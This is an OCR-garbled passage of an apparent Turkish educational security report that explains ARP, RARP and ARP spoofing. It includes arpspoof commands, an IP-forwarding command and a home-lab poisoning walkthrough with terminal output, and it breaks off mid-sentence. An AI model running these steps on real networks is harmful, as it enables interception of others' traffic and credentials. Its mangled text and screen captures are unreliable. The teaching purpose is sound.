Resolution Protocol,... seklinde) ayri ayri protokol tanimlamasina gidilmesi gerekecekti. Bu ise
bizim klasér érnegimize dénecek olursak her bir resim dosyasi i¢in ayri klasér olusturmamiza
benzer. 10 resminiz varsa 10 adet klasdr olusturmak kullanissiz bir segimdir. Daha moddler ve
0z ve elbette surdurdlebilir bir kullanim igcin tim bunlarin eksisi artisi g6z 6nune alinarak ortak
bir adres ¢6zumleme protokollu geligtirilmigtir ve bdylelikle yerel agda farkl teknolojiler
arasinda gegisler varsa (6rn; ethernet'ten Wifi'a gibi) adres ¢ézimlemede higbir sikinti
olmayacaktir. Yani 6rnegin evinizde yerel agdaki Wifi Gzerinden baglanan bir sistem evinizdeki
ethernet kablosu Uzerinden baglanan diger sistem ile sorunsuz bir sekilde iletisim
kurabilecektir.

Su an glinimuizde kullanilan TCP/IP modelindeki ARP (Address Resolution Protocol); daha
once ilk adres ¢béztimle protokollu olarak gelistiriimis Ethernet Address Resolution Protocol
(Ethernet Adres Cozumleme Protokoll) ‘Unin devami niteliginde olan, Ethernet Address
Resolution Protocol’tl verimliligini arttirma konusunda distnilen Dinamik Adres Cézimleme
metodunun Broadcasting ve Caching 6zelliklerini bunyesine almis ve tim network-access
(data-link) katmanindaki teknolojileri destekler nitelikte tasarlanmig genel bir adres ¢déziimleme
protokolldir. Halihazirda sistemlerimizde su an bu protokol (yani Address Resolution Protocol,
kisa adiyla ARP) kullaniimaktadir.
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TCP/IP; bilgisayar, ag cihazlari, nesneler (telefon, buzdolabi, klima, televizyon,...) gibi akliniza
gelebilecek her trll internete cikan elektronik cihazda kullanildigi icin ARP da bu cihazlarda
kullaniimaktadir. Bdylece bu cihazlar yerel aglarinda diger cihazlarla etkilesimde /
haberlegsmelerde bulunabiliyorlar.

Not:

ARP konusunda bir ihtilaf vardir. ARP'I kimisi Data-Link katmanina koymaktadir. Kimisi
ise Network katmanina koymaktadir. ARP, aslinda bir parcasi Data-Link Layer
kategorizasyonunun tanimina uymakta ve bir pargcasi da Network Layer
kategorizasyonunun tanimina uymakta. Bu nedenle cesitli kaynaklarda ARP
protokollinii bazen Data-Link Layer'da bazen de Network Layer'da gérebilirsiniz. ikisi

de dogrudur.
ARP L3'te ARP L2'de
Application Layer HTTP FTP SMTP DNS RIP SNMP App'ication HTTP, FTP,P°P3,
SMTP,SNMP
Transport Layer TCP ubDP Transport TCP UDP
’
y ARP IP (IPvd) IPv6 Network 9 |P,|CMP
! \‘\ﬁl
Data Link Layer Ethernet jreless Frame Relay : ATM a
; L H
L - ) . :
Physical Layer Coaxal | yrp || rf“’"k' Satelite Terrestrial Datalink WRP
i M Cable i Cable Optic Cable Microwave | e |

Buradaki farklihgin temel nedeni ARP'In esasen L2 katmaninda ¢aligiyor olmasi, fakat
bir yaninin da L3'e servis sunmasindandir. OSI| referans modelinde ARP protokolu
L2'de geger. TCP/IP modelinde ise L3'te geger.

ARP paketi ARP protokoli tanimlamalarina gére olusturulmus 1 ve 0 bit dizisidir. Bu paketler
yerel agda bilgisayarlarin birbirleriyle haberlesebilmesi igin kullanilan bir paket tartudur.
internette haberlesme IP adresleri ile gerceklesirken yerel agda haberlesme MAC adresleri ile
gercgeklesir. Yani yerel agdaki bilgisayarlar birbirleriyle haberlesebilmek igin birbirlerinin MAC
adreslerine ihtiyag duyarlar. Bunu elde edebilmek icin ise yerel agdaki bilgisayarlar kendi IP ve
MAC adreslerini barindiran Arp paketlerini birbirlerine yollarlar ve birbirlerinin MAC adreslerini
elde ederek Arp Tablolarina (Arp onbelleklerine) kaydederler. Sonugta Arp paketleri ile
birbirlerinin MAC adreslerini 63renen yerel agdaki bilgisayarlar birbirleriyle haberlesebilir
duruma gelirler.

Not:

Yerel agdaki makinalar edindikleri MAC adreslerini Arp Tablolarinda (Arp
Onbelleklerinde) IP adres - MAC adres ciftleri seklinde kaydederler. Bdylece sonradan
makinelerin Dbirbirleriyle kurabilecegi iletisimlerde birbirlerini bulmak igin tekrardan
birebir ayni Arp paket trafigi olusturma ve MAC adres yanitini bekleme gibi prosedurler
Onlenmis olur. Agdaki trafik yogunlugu bu sayede dusurilerek ag genelindeki trafik hiz
performansi arttirilabilir. Ayni sekilde bilgisayarlarin birbirleriyle kontak kurma hizlari da
bu sayede arttirilabilir.
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Burada ARP'la paket yapisi olarak birebir ayni dizilime sahip RARP'a da deginmekte fayda
var. RARP, ARP protokolliine benzer goreve sahip, fakat isleyis acisindan tersine icraatta
bulunan bir protokoldur. Bu protokol ARP'ta yapilan "X.Y.Z.T IP adresli makinanin MAC'i nedir"
sorusunu sorma ve gelen cevapla dgrenilen MAC adres sonrasi haberlesmenin teminini
saglama yerine tersine bir isleyiste bulunur. Yani RARP protokoll, yerel agdaki bir sistemin
yerel agdaki bir bagska sisteme ait MAC adresi bilgisini (6rn; A:B:C:D bilgisini) bildigi, ama o
MAC adresine sahip yerel agdaki makinenin IP adresini bilmedigi durumlarda yerel agdaki
Gateway'in arp cache'ine (gateway / router / switch 'in arp cache'ine) su, su, su MAC adresli
makinenin IP'si nedir sorusunu sormaya ve buna karsilik Gateway'den dénen yanittaki MAC
adresi ile sorgulanan yerel makinenin IP adres bilgisinin elde edilebilmesini saglar.
Ozetleyecek olursak ARP protokolii ile yerel aglarda IP adresinden MAC adresi elde edilir.
RARP protokoli ile de vyerel aglarda MAC adresinden IP adresi elde edilir.

e. ARP Spoofing Nedir?

ARP Spoofing (ARP Kandirmacasi), diger adiyla ARP Poisoning (ARP Zehirlemesi), diger
adiyla ARP Cache Poisoning (ARP Onbellek Zehirlemesi) terimi ARP paketleri kullanilarak
yerel agda aga bagl bilgisayarlara / sunuculara / nesnelere génderilen paketlerin bu cihazlari
kandirmasina ve kandirilmis cihazlarin internet trafigini okumaya / internet trafigini manipule
edip farkli sonuclar elde etmeyi ummaya / ... denmektedir. Yani ARP Spoofing, L2 katmaninda
ugrasilan bir saldiri tartaddar.

Saldirinin detaylarina gegmeden 6nce bir yerel agda makinelerin birbirleriyle tanismasi
surecini (ARP ahgveriglerini) deneyimleyelim. Ardindan bir yerel agda anormal Arp paketleriile
makinelerin rayindan nasil ¢ikarildigini anlamlandiralim.

Bir yerel agda (6rn; evinizdeki agda) bilgisayarlariniz birbirlerini gértir hale gelebilmek igin siz
LAN kablosunu taktiginizda (ve sayet o siralarda galigsan bir router'iniz ya da prize bagl bir
switch'iniz varsa) arkaplanda arp paket génderimleri yapacaktir. Mesela asagidaki temsili yerel
ag uzerinden gidelim.

ARP Request ARP Response

w
w

Source 1P: 192.168.0.1
Source: MAC: 02:f2:02:f2:02:f2
Target IP: 192.168.0.101
Target MAC: 12:12:62:12:12:12

ource IP; 192.168.0.101
ource: MAC: 12:£2:12:12:12:12
Target IP: 192.168.0.1
Target MAC: 00:00:00:00:00:00

S

e
©o e

NN R

Sonra Cevabi Muhatabindan Aliyor

Resmin solundan baglayacak olursak A bilgisayari oncelikle yaptigi taramalar (aga bagli
cihazlarin tespiti) sonucunda agdaki tiim online cihazlarin IP'sini elde eder. iclerinden IP'sini
edindigi makinelerden biri olan C bilgisayariyla konugsmak ister. Fakat A bilgisayarinin C
bilgisayariyla konusabilmesii¢in C bilgisayarinin MAC adresini 6grenmesi gerekir. Bu durumda
A makinesi bir ARP paketi hazirlar. Bu pakete kendi IP adresini, kendi MAC adresini, arp
paketinin taru bilgisini, MAC'i 6grenilmek istenen makinenin IP bilgisini ve diger vir zivirlari
koyar. Hatirlarsaniz ARP paket i¢i su sekilde bolimlendirmelere sahipti:

TUBITAK — BILGEM - Siber Guvenlik Enstitisi

17



TASNIF DISI Ag Haberlesmesi ve Arp Saldirilar:

ARP Packet Format

Dolayisiyla paketi C dilinde yazacak olsaydik sdyle bir yapi ortaya gikacakti:
C:

f Layer 3

typedef struct packet_inner {
unsigned short hardware_type;
unsigned short protocol_type;
unsigned char hardware_length;
unsigned char protocol length;
unsigned short operation;
unsigned char source_mac[&];
unsigned char source_ip[4];
unsigned char destination_mac[€];
unsigned char destination_ip[4];

} ARP;

/i Layer 2

typedef struct packet_outer {
unsigned char source_mac[&];
unsigned char destination_mac[&];
unsigned short packet_type;

} MAIN_PACKET;

£ Layer 1
typedef struct packet final {
ARP packet_inner;
MAIN PACKET packet_outer;
} ARP_PACKET;

Bu yapi degiskenlerine verilecek degerler ile 6rnegin yazilima agda ARP paketi gonder direktifi
verebilecektik.

Resme geri donecek olursak A bilgisayari C bilgisayarinin MAC'ini 6grenmek icin su sekilde
bir Arp paketi hazirlar:

hwtype=0x1 // Yani donanim tirli olarak Ethernet sec¢ilir.
ptype=0x800 // Yani protokol tiuru olarak IPv4 & IPv6 secilir.
hwlen=6 // Yani donanim adres uzunludu olarak 6 oktet secilir.
plen=4 // Yani protokol adres uzunlugu olarak 4 oktet sec¢ilir.
op=0x1 // Yani operasyon tirll Arp paketinin amaci) ARP

// Request (Arp Talebi) olarak belirlenir.
hwsrc=f2:£f2:£f2:£f2:£2:£f2 // Yani talebi yapan kisinin kendi MAC adresi girilir.
psrc=192.168.0.101 // Yani talebi yapan kisinin kendi IP'si girilir.
hwdst=00:00:00:00:00:00 // Yani hedef MAC adresi girilir. Hedef MAC

// bilinmedidinden 0'li birakilir.
pdst=192.168.0.1 // Yani hedef makinenin daha o&nce elde ettidimiz

// IP'si girilir.
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Gorildugu Gzere ARP paket icerigindeki tim bdlimler doldurulmustur. A bilgisayari
arkaplanda hazirladigi bu paketi L3'ten L2'ye, oradan da L1'e tasir ve kablolar araciligiyla yerel
agdaki switch'e yollar. Switch aldigi bu ARP talebini yerel agdaki diger tum bilgisayarlara
gonderir. Yerel ag 6rnegimiz icin kullandigimiz resmin sol tarafinda, hazirlanan Arp talebinin
(Arp Request'in) gonderilisi gdsteriimektedir. Arp taleplerini alan makineler paketin sordugu
"192.168.0.1 IP'li makine sen misin?" sorusunu okuyacaktirlar. B bilgisayari bu arp talebini
(paketini) okudugunda soruyu yanitsiz birakacaktir, ¢linkii sorunun muhatabi degildir. D
bilgisayari arp talebini aldiginda soruyu yanitsiz birakacaktir, ¢iinkl sorunun muhatabi degildir.
C bilgisayari ise arp talebini aldiginda soruyu okuyup ona bir yanit Gretecektir. Clnkd sorunun
cevabi kendindedir. Cunklu C bilgisayarinin IP'si 192.168.0.1'dir. C bilgisayari soruyu
okuduktan sonra Uretecegi arp yanit paketi icerisine kendi IP'si + kendi MAC adresini koyup A
bilgisayarina gonderecektir. Detaylandiracak olursak C bilgisayarinin hazirlayacagi arp yaniti
paket icerigi su sekilde olur:

hwtype=0x1 // Yani donanim tirt olarak Ethernet secilir.
ptype=0x800 // Yani protokol tiuru olarak IPv4 & IPv6 secilir.
hwlen=6 // Yani donanim adres uzunludu olarak 6 oktet secilir.
plen=4 // Yani protokol adres uzunlugu olarak 4 oktet secilir.
op=0x2 // Yani operasyon tiirii Arp paketinin amaci) ARP

// Response (Arp Yaniti) olarak belirlenir.
hwsrc=02:£f2:02:£2:02:f2 // Yani yaniti yapan kisinin kendi MAC adresi girilir.
psrc=192.168.0.1 // Yani yaniti yapan kisinin kendi IP'si girilir.
hwdst=f2:f2:f2:£f2:f2:f2 // Yani hedef MAC adresi girilir. Hedef MAC

// bilinmedidinden 0'li birakilir.
pdst=192.168.0.1 // Yani C makinesinin az &nce A makinesinden aldigdi

// Arp talebindeki A makinesi IP'sini elde etmesiyle

// 6§rendidi) ©grendidi hedef IP adresi (A makinesinin

// IP adresi) girilir.

C bilgisayarinin gonderdigi bu arp yanit paketi dogrudan A bilgisayarina ulasir ve A
bilgisayari bu arp yaniti paket icerigindeki hwsrc (hardware address source)
bolimuinden C bilgisayarinin MAC adresini 6grenmis olur. Boylece A bilgisayarinin
artik C bilgisayari ile 6rn; dosya paylasimi yapmasi icin gerekli haberlesme kanali
aciimig olur.

Not: Bahsedilen dosya paylasim konusuda dosya paylasimi igin iletisim kanali
aciktir / bilgisayarlar birbirini gorebilmektedir, fakat takdir edersiniz ki dosya
paylasim hizmetinin A bilgisayarinda baslatilmasi da gerekir. Bu hizmet / servis
baglatiimalidir ki yeteneklerinden faydalanilabilsin. MAC adresi 6grenerek
sadece haberlesme kanali acgilir. Gerisi kullanilacak hizmetlere / yazilimlara
kalir.

Bu gergeklesen arp talep ve arp yanit akigini diger makinelerin de ihtiyag
duyduklarinda yaptigini farzederseniz yerel bir agda normal bir arp paket trafigini
tahayyul edebilirsiniz.

f. ARP Spoofing Saldiris1 Nasil Yapilir?

Simdi yerel bir agda anormal olusturulmus bir arp paketi ile yerel agdaki bir ve/veya birden
fazla makineyi nasil rayindan ¢ikarabilecegimizi, nasil pusulalarini sasirtabilecedimizi énce
kagit Ustinde (teorik olarak) gosterelim. Yapacagimiz bu saldirn Arp Spoofing (Arp
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Kandirmacasi) saldirisidir (Not: Uygulamali gdsterimi bir sonraki baslikta ele alinacaktir).

Arp Spoofing saldirisi yerel agdaki saldirgan bir makineden érnegin bir baska makineye sahte
bir arp paketi géndermeye dayanir. Bu génderilen arp paketini alan kurban makine saldirgan
makinesini bir bagska makineymis gibi gérir. Ornegin saldirgan makine bu sahte Arp paketleri
ile yerel agda kendini router olarak gosterebilir. Bu, saldirgana yerel agdaki tim internet
trafigini Gzerine alma imkani verebilir.

Varsayalim ki bir kafede kurban bir kimse var ve laptop'i Wifi ile kafenin internetine bagl. Ayni
kafede ayni aga baglanmig koth niyetli bir kimse ise kurbanin trafigini dinlemeyi ve kurbanin
kullanici adi, sifre gibi hassas bilgilerini elde etmeyi istesin. Saldirgan bu islemi yapabilmek
icin Arp Spoofing tekniginden ve bu isi gorecek (yani sahte arp paketi Uretebilecek) bir
yaziimdan yararlanacaktir. ilk olarak saldirgan kurbanin yerel adresine ve router'in yerel
adresine ihtiya¢c duyar. Bu islem icin kurbanin yanina gitmesi sliphe ¢ekeceginden dilerse
agdaki tim online IP'leri tespit eder (ki bu daha kolay olanidir) ya da sosyal muhendislik
yeteneklerini konusturur ve bir sekilde kurbanin IP'sini elde eder. Router'in IP'sini elde etmek
ise herhangi bir caba gerektirmeyen islemdir. Clinki saldirgan da ayni agda ve ayni router'a
badli vaziyettedir. Saldirgan bu iki IP bilgisine gerek duyar, ¢linkd bu iki IP konumun arasina
(yani router cihazi ile kurbanin laptop'l arasina) girecektir. Ornegin kurbanin IP'si 192.168.2.2
olsun. Router'in IP'si de 192.168.2.1 olsun. Saldirgan sahte arp paketi Ureteci arpspoof
araclyla bu bilgileri hem router cihazini hem de kurban laptop makinesini kandirmak igin
kullansin.

ilk Terminal:

// [*] Elle Direk Arp "Yaniti" Gonderimi
// Kurbanin laptop'indaki ARP Tablosuna (Arp Onbelledine)
// saldirganin MAC adresi router'in MAC adresi diye kaydedilir.

> arpspoof -i wlan0O -t 192.168.2.2 192.168.2.1
(Kurban IP) (Router IP)

ikinci Terminal:

// [*] Elle Direk Arp "Yaniti" Gonderimi (2)
// Router'in ARP Tablosuna (Arp Onbelledine) saldirganin
// MAC adresi kurbanin MAC adresi diye kaydedilir.

> arpspoof -i wlan0O -t 192.168.2.1 192.168.2.2
(Router IP) (Kurban IP)

Uclincti Terminal:

// [*] Elle Konfigurasyon
// Saldirgan, makinesinin ethernet kartini agdan gelen tim
// paketleri yonlendir moduna sokar.

> echo 1 > /proc/sys/net/ipv4/ip forward

Programlamatik iglere bulagsmadan high-level bir kullanim araylzi sunan arpspoof araci ile
elle arp paketi Uretebilmekteyiz. Yukaridaki arpspoof kullanimlarinda saldirgan, araca dnce
kendi ethernet araylzi bilgisini verir (Detaylar Uygulama bashdinda yer alacaktir): wlanO.
Ardindan -t (yani target (yani hedef)) parametresi ile kandiracagi bilgisayarin IP'sini verir. En
son gelen IP kismina da kendisini o makineymis gibi gostermek istedigi makinenin IP'sini verir.
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Birinci terminal'de saldirgan -t 'de belirtilen kurban makinaya kendini Router olarak tanitmistir.
ikinci terminal'de saldirgan -t 'de belirtilen makinaya (bu sefer kurban Router oluyor) kendini
kurban (kafede oturan kisi) olarak tanitmistir. Yani router'a kendini kurban makina olarak
gOstermektedir. En nihayetinde ise dg¢lnclu terminalde saldirgan ethernet kartini trafik
yoénlendirme moduna gegirmistir. Peki ama simdi ne oldu?

Dikkat ederseniz birinci ve ikinci terminallerde Uretilen arp paketi bir Arp "Yanit" paketidir.
Hatirlarsaniz yerel aglarda normal bir arp trafiginde olmasi gereken énce Arp Talebi ve sonra
Arp Yaniti dir. Fakat burada saldirgan direk Arp Yanit paketi génderiyor.

Bilgi:

Bildiginiz Gzere TCP/IP protokol ailesi ta 70'i-80'li yillara dayanan bir standart olmasi
dolayisiyla L2'de kendine yer edinmis ARP protokoll tasarlanirken bir kontrol
mekanizmasi koyulmasina gerek duyulmamis. Bu standart dinyada internete bagli tim
elektronik aletlerde kullanildigindan ve Uretilen donanimlar / ag Urdnleri bunca suredir
hep bu standarda goére piyasaya surulduginden ARP protokollu Uzerinde kontrol
mekanizmasi eksikligini gidermek maksadiyla dizenleme dogal olarak yapilamamistir.
CuUnkU sayet bu diizenleme yapilacak olsaydi bunca zamandir standart diye diinyaya
duyurulmus mevcut TCP/IP modeline gbre Uretiimis ve dinyanin muhtelif yerlerine
(ABD, Cin, Rusya, Turkiye, Almanya, Japonya,..... kisaca Amerika Kitasi, Avrupa
Kitasi, Asya Kitasi, Afrika Kitasi, Avrustralya Kitasi'na) dagiimis ag drunleri /
donanimlari milyarlarca sayida elektronik COP imparatorluguna déntsirdl. Cinki
olay L2'de. Yani donanima dokunuyor ve donanimlar da mevcut TCP/IP standardina
goére senelerdir Uretiliyor ve piyasaya suruliyor. Bu nedenle TCP/IP'ye ve ARP'a
dokunulamadi. Halen ARP protokollindeki kontrol mekanizmasi eksikliginden dolayi
saldirganlar yerel aglarda bu acikliktan (direk Arp Yanit paketi goénderiminden)
yararlanmayi surdirmektedirler.

Yani direk Arp Yanit paketi yollayarak oldu bittiye getiriyor ve kargi tarafa pakette ne diyorsa
karg! taraf pakette denileni sartsiz / sorgusuz kabul ediyor. Saldirgan birinci terminaldeki
kodlamay calistirarak kurban makinaya diyor ki ben Router'im. Saldirgan ikinci terminaldeki
kodlamayi calistirarak ise Router'a diyor ki ben kurban makinayim. Bu durumda kurban
Ornegin tarayicisindan google.com'a girerken router diye saldirganin makinesine paketleri
gonderecektir. Saldirgan ise trafik yonlendir modunda oldugundan paketin asil sahibi router'a
paketleri gbnderecektir. Router paketleri google.com sunucusuna iletecektir ve google.com
sunucusundan gelen yanit paketleri router'a gelecektir. Router google.com'dan gelen bu
paketleri kurban makina zannettigi saldirgan makinaya génderecektir. Clnku router'in Arp
tablosu da direk yollanan Arp Yanitiyla "zehirlenmistir" (yani saldirganin amaci dogrutlusunda
bir degerle doldurulmustur). Ardindan saldirgan google.com paketlerini router'dan aldiginda
aldig1 gibi kurbanin makinasina yonlendirir. Sonug olarak dikkat ederseniz internet trafigi
kurbandan saldirgana, saldirgandan router'a, router'dan internete,...,sonra internetten router'a,
router'dan saldirgana ve saldirgandan kurbana gitmektedir. Yani kurbanin trafigi artik
saldirganin makinasinin Uzerinden gegmektedir;

.............................................. ' "
ﬂ\ /-

Router

192.168.2.2 — 192.168.2.1

Attacker “t bog birakihrsa tiim subnet'e gonderilir
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ve saldirgan bunu sadece birinci, ikinci, G¢tinclt terminaldeki kodlari makinesinde c¢alistirarak
yapmaktadir. Kurbanin trafigi internete dogru halen kesintisiz aktidi icin kurban halen internette
aktif durumdadir. Sadece ortaya baska bir yabanci (saldirgan) girmistir. Bu v.b. saldirilara
genel olarak MITM (Man In The Middle), yani "Araya Giren Adam" saldirisi adi verilir. MITM
saldirlari arasinda ARP Spoofing bunlardan sadece biridir.

Saldirgan kurbanin trafigini Gzerinden bu sekilde gecirerek kendi makinesi Uzerinde akan trafigi
okuyabilir, trafi§i ayni zamanda sistemine anlik olarak kaydedebilir, akan trafikteki paketleri
inceleyerek kritik veri elde etmeye calisabilir.

Buraya kadar saldir biraz soyut anlatildi. Simdi makalenin basinda bahsedilen bilgilerle
saldiriyi biraz somutlagtiralim.

Saldirgan, makinesinde birinci terminaldeki kodu ¢alistirarak su sekilde bir Arp "Yanit" paketi
olusturmaktadir ve géndermektedir:

Birinci Terminal Paket igerigi:

hwtype=0x1 // Yani donanim tirt olarak Ethernet seci
// lir.
ptype=0x800 // Yani protokol tiuri olarak IPv4 & IPv6 secilir.
hwlen=6 // Yani donanim adres uzunludu olarak 6 oktet
// secilir.
plen=4 // Yani protokol adres uzunludu olarak 4 oktet
// secgilir.
op=0x2 // Yani operasyon tiri (Arp paketinin amaci)

// olarak ARP Response (Arp Yaniti) belirlenir.
hwsrc=df:f3:df:f3:df:£f3 // Yani yaniti yapan saldirganin kendi MAC adresi

// girilir.

psrc=192.168.2.1 // Yani yaniti yapan saldirganin kendini oymus
// gibi gdstermek istedidi makinenin IP'si giri
// lir.

hwdst=5a:bf:a5:bf:5a:bf // Yani ARP Response (Arp Yaniti) nin gdnderi
// lecedi hedef MAC adresi (kurbanin MAC adresi)
// girilir.

pdst=192.168.2.2 // Yani Arp Response (Arp Yaniti) nin gdnderi
// lecedi hedef makine (kurban sahsin makine)
// ip'si girilir.

( Burada her satirda yer alan degeri (6rn; 0x1, 0x800, 6, 4, 0x2,...) 1 ve 0 bit dizisi
halinde yatay bir sekilde siralandigini distuntn. Gonderilen Arp paketi iste odur )

Birinci terminalde olusturulan arp paket igeriginde hedef makine ip'si kismina kurbanin IP
degeri doldurulur. Hedef makine mac adresi kismina kurbanin MAC adresi degeri doldurulur.
Kaynak MAC adresi kismina saldirganin kendi makine MAC adresi de@eri doldurulur. Kaynak
IP adresi kismina - saldirganin kendi makine IP adresi degeri degil (!) - Router'in IP adresi
degeri doldurulur. Bdylece kurban bu paketi aldiginda Arp Tablosuna (Arp Onbellegine)
Saldirgan MAC - Router IP kaydini koyacaktir. Yani kurban router'a paket génderecegi zaman
router'in MAC'i zannettigi saldirgan makine MAC'ini hedef MAC adresi diyecektir ve paketleri
o MAC adresli makineye (saldirgana) yollayacaktir.
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ikinci Terminal Paket igerigi:

hwtype=0x1 // Yani donanim tirl olarak Ethernet sec¢i
// lir.
ptype=0x800 // Yani protokol tiuru olarak IPv4 & IPv6 secgilir.
hwlen=6 // Yani donanim adres uzunludu olarak 6 oktet
// secilir.
plen=4 // Yani protokol adres uzunludu olarak 4 oktet
// secilir.
op=0x2 // Yani operasyon turi (Arp paketinin amacai)

// olarak ARP Response (Arp Yaniti) belirlenir.
hwsrc=df:£f3:df:£f3:df:£f3 // Yani yaniti yapan saldirganin kendi MAC adresi

// girilir.

psrc=192.168.2.2 // Yani yaniti yapan saldirganin kendini oymus
// gibi gdstermek istedidi makinenin IP'si giri
// lir.

hwdst=cc:cc:cc:cc:cc:cc  // Yani ARP Response (Arp Yaniti) nin goénderi
// lecedi hedef MAC adresi (router'in MAC adresi)
// girilir.

pdst=192.168.2.1 // Yani Arp Response (Arp Yaniti) nin gdnderi
// lecedi hedef makine (router'ain) ip'si girilir.

( Burada her satirda yer alan degeri (6rn; 0x1, 0x800, 6, 4, 0x2,...) 1 ve 0 bit
dizisi halinde yatay bir sekilde siralandigini disundn. Gonderilen Arp paketi
odur)

ikinci terminalde olusturulan arp paket iceriginde hedef makine ip'si kismina kurban olarak bu
sefer Router IP degeri doldurulur. Hedef makine mac adresi kismina router'in MAC adresi
degeri doldurulur. Kaynak MAC adresi kismina saldirganin kendi makine MAC adresi degeri
doldurulur. Kaynak IP adresi kismina - saldirganin kendi makine IP adresi degeri degil (!) -
kafede oturan kurbanin IP adresi degeri doldurulur. Bdylece router bu paketi aldiginda Arp
Tablosuna (Arp Onbellegine) Saldirgan MAC - Kafedeki Kurban IP kaydini koyacaktir. Yani
router yerel agda kafedeki kurbana paket gdénderecedi zaman kurbanin MAC'i zannettigi
saldirgan makine MAC'ini hedef MAC adresi diyecektir ve paketleri o MAC adresli makineye
(saldirgana) yollayacaktir.

Uglincti Terminal Konfigurasyon Hk:

Saldirgan kendi makinesindeki ethernet kartina ait konfigurasyon
ayar satirlarindaki ip forward de§iskenini 0 ken 1 yapmistair.

Saldirgan Gglincu terminalde yaptidi islem ile makinesine gelen paketleri hedefine yénlendir
(yolla) moduna gegecektir.

Sonug olarak arpspoof tool'u high level bir arayliz sunarak gerek duyulan (degisken nitelikte
olan) U¢ adet dederi vermemiz ile arkada bu paketleri olusturacaktir ve génderecektir. Bu
paketleri alan hedef makineler de arp tablolarini (arp énbelleklerini) gelen paketlerin sdyledigi
dogrulara gore guncellemektedirler (zehirlenmektedirler). arpspoof tool'u gibi ayni hizmeti
sunan (zararli aktiviteyi sunan) baska araglar da vardir. Ornegin gérsel arayiiz segenegi olan
Ettercap ya da bir diger gorsel araylz se¢enegi sunan Cain&Abel gibi.
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g. Uygulama [Reel Bir Arp Zehirlemesi Saldirisi]

Simdi sahsi evimdeki yerel agda (LAN'da) gercek bir arp zehirlemesi saldirisi yapma
adimlarina gecelim.

Gereksinimler

(+) Uygulama belirtilen materyaller ile birebir denenmistir ve basarili olunmustur.

Pardus Linux 17.5 LTS [indir] // Saldirgan Sistem
Windows 10 Enterprise ENG LANG x64 [indir] // Kurban Sistem

Burada saldirgan roliinii oynamaktayiz. Oncelikle saldirilacak hedef makinenin IP bilgisi not
edilir. Saldirgan bunu elde etmek icin sosyal mihendislik veya gizli kapakli iglere girisme gibi
secenekleri kullanabilir. Sayet bu iglere girismek istemiyorsa yerel agdaki tim aga bagh
makineleri (bilgisayar, mobil telefon, televizyon, switch / router, vs...) scope'una (kapsamina)
dahil edebilir. TGm makineleri kapsamina almasi spesifik bir makineyi zehirlemesine nazaran
inanin daha kolaydir. Burada bilgi toplama denilen safhanin énemi kendini géstermektedir.

Saldirgan hedef sistemin IP'sinin 172.16.3.97 oldugunu tespit etmis olsun. Ardindan saldirgan
kendi ethernet arayuzi ismini ve router IP bilgisini 6grenmek icin makinesine asagidaki
komutlari girer:

Pardus Terminal:

{*) Ethernet arayliz ismini 6grenme

ip address // Eski linux sistemlerde ifconfig komutu girilie

Ciktr:

ip address
yuise noqueue state UNKNOWN group defaul

p:00:00 brd 00:00:00:00:00:00
t lo
ferred 1ft forever

rred_1ft forever
CAST,UP, LOWE sc pfifo_fast state

ic enpBs31f6
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Pardus Terminal:

{*) Router ip 6grenme

ip route // Eski linux sistemlerde route -n ya da netstat -r -n

Ciktr:

Sekmeler Yardim

route

o piuto static metric

s31f6 proto dhcp m :

iernel scope link src 172.16.3.75 metric 100

Saldirgan, makinesinin ethernet araylz isminin enp0s31f6 oldugu bilgisini ve router IP
sinin 172.16.3.1 oldugu bilgisini elde etmistir (Not: Ethernet araylz ismi elde edilme
geredi duyulmasinin nedeni bilgisayarlarda birden fazla ethernet araylztnin duruma
gbre var olabiliyor olmasindandir. Ornegin bilgisayarin hem kablodan hem de wifi'dan
ayni anda internet bagli oldugu durumlarda ethernet arayuzu olarak ethO ve wlan0
seklinde iki ayri ethernet araylzu var olabilir). Saldirgan, makinesindeki ethernet
arayuz ismi ve router ip bilgisini edinimleri sonrasi saldirlya baglamak igin son
hazirligini, yani ethernet kartini yonlendirme moduna gegirme ayarini (daha teknik
ifadeyle ethernet kartini kendisiyle alakali olsun olmasin tim paketleri al ve yonlendir
ayarini) yapmaya koyulur.

Bilgi:

Ethernet kartini kendisiyle alakali olsun olmasin tum paketleri kabul eder hale
getirme moduna Promiscous Mode adi verilir. Normalde ethernet kartlari
varsayilan olarak kendine gelen paketlerden sadece hedef olarak kendisinin
belirtildigi paketleri alacak sekilde caligirlar. Kendisini alakadar etmemesine
ragmen kendisine gelen paketleri ise drop ederler (lzerlerinden atarlar / ele
almazlar). Ethernet kartlari g¢esitli kullanim alanlarinda Promiscous Mode'una
ihtiyag duydugundan bu mod segenek olarak sunulmustur. Saldirgan ise
saldirisinda bu modu arag olarak kullanmaktadir.
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Pardus Terminal:

=

cho 1 » fproc/sys/net/ipvd/ip forward

m

Ciktr:

Sekmeler

4/ip_forward

# echo 1 > ¢
&

: /jhome/hefese

orward

ard

: /home/hefese# [ ]

Artik saldirgan hazir durumdadir. Simdi yapacagi tek sey sahte arp paketlerini router'a ve

kurbana gondermektir:

26
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Pardus Terminal:

(*) Kurbana sahte arp paketi génderimi (defalarca)

arpspoof -i enp®s31f6 -t 172.1£.3.97 172.16.3.1
(Kurban IP) (Router IP)

Ciktr:

TUBITAK-HASANFSIMSEK2: /home/hefese

ter Ucbirim 5 eler  Yardim

se# arpspoof -i enpB®s31f6 -t 172.16.3.97

Uchirim - root@TUBITAK-HASANFSIMSEK2: /home/hefese

Yardim

arpspoof -i enpBs3lfe -t 172.16

161 0806 42: arp reply 172.16.3.1 is-at
2: arp reply 172.16.3
2: arp reply

:61 0806 42: arp reply 172.16.3

17
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Pardus Terminal:

{*) Router'a sahte arp paketi gonderimi (defalarca)

arpspoof -1 enp2s31f6 -t 172.16.3.1 172.16.3.97
(Router IP) (Kurban IP)

Ciktr:

Uchirim - root@TUBITAK-HASANFSIMSEK2: /home/hefese

se# arpspoof -i enp@s31fe -t 172.16.3.1 172

Uchirim - root@TUBITAK-HASANFSIMSEK2: /home/hefese

dim

e# arpspoof -1 enp@s31f6 -t 172.16.3.1 172
2: arp reply 172.16.3.97 is-at 54:bf:64:
2: arp reply 172.16.3.97 is-at 54:bf:64:
2: arp reply 172.16.3.97 is-at 54:bf:6

5:39:0 0806 42: arp reply 172.16.3.97 is-at 54:bf:64:
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Not: Arp Yanit paketlerinin defalarca gonderiliyor olusunun nedeni kurban makinelerin
onarici arp talep paketlerini LAN'a génderip dogru router't bulma sirecini sekteye
ugratmak / surekli bozmak icindir. Yani bir defa sahte Arp Yanit paketi génderirsek
kurban makine belli bir sire sonra kendini toparlayip zehri Gzerinden atabilir. Fakat
